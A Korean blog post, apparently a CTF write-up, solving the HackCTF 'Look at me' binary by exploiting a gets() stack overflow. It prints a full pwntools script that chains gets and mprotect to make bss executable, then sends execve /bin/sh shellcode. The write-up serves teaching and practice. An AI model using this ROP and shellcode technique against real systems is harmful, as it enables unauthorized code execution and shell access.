HACKCTF - Look at me

2020. 8. 12. 12:08CTF's Write-up

문제화면

 


lookatme라는 파일 하나를 받을 수 있고, 해당파일을 실행시키면

 

 

실행화면

 

이렇게 He~~를 출력하고 입력 하나를 받습니다.

 

ida

 

 

ida로 까보니 함수가 너무 많아서 확인해보니

 

file lookatme

 

statically linked 여서 대부분의 함수가 포함되어 있을것으로 예상됩니다.

다시 돌아가서 메인을 보면

 

ida loog_at_me

 

 

gets에서 길이제한을 두지 않으니 이부분에서 취약점이 발생한다고 볼 수 있는데 직접 flag를 출력해주는 함수도 없고,

 

 

checksec --file=lookatme

 

 

nx도 있으니, 스택에 직접 쉘코드를 입력하는것은 어렵고, bss에 /bin/sh를 넣고, 리턴을 변조해서 system으로 실행시키는 쪽으로 가려고 하였으나, system함수가 존재하지 않네요..

 

예전에 https://err0rless313.tistory.com/entry/mprotect-%ED%95%A8%EC%88%98-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-Exploit%ED%95%98%EA%B8%B0 사이트에서 해당함수를 통해 ex가 가능하단것을 본 적이 있어서 해당기억으로 mprotect_add 함수를 이용했습니다.

 

mprotect() 함수 이용하여 Exploit하기

mprotect()의 원형 int mprotect(void *addr, size_t len, int prot); 원래 일반적인 ROP기법을 써서 system() 함수를 실행시키는 방법을 주로 사용했었다. 그런데 NX-Bit가 걸려있어도 mprotect() 함수를 실행시..

err0rless313.tistory.com

페이로드는 이렇게 짤 예정입니다.

1. gets로 bss에 "/bin/sh"를 넣는다.

2. mprotect 함수를 이용해서 bss를 실행시킨다.

3. 해당 링크의 주의할점을 참고하여 익스플로잇을 작성한다.

 

익스플로잇코드는 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3017)
= ELF("./lookatme")
context.log_level = "debug"
 
gets_add = 0x804f120
mprotect_add = 0x806e0f0
pr = 0x08048480
pppr = 0x0806303b
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80"
 
payload = "A"*0x18+"A"*0x4
payload += p32(gets_add)
payload += p32(pr)
payload += p32(bss)
 
payload += p32(mprotect_add)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(10000)
payload += p32(7)
payload += p32(bss)
 
r.recv()
r.sendline(payload)
r.sendline(shellcode)
 
r.interactive()
cs

 

이를 실행하면

 

flag 획득

 

이렇게 flag를 획득할 수 있습니다.

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - g++ pwn  (0) 2020.08.14
HACKCTF - Classic Cipher -2  (0) 2020.08.13
HACKCTF - AVR Programming (1)  (0) 2020.08.12
HACKCTF - 가위바위보  (0) 2020.08.10
HackCTF - Classic Cipher -1  (0) 2020.08.07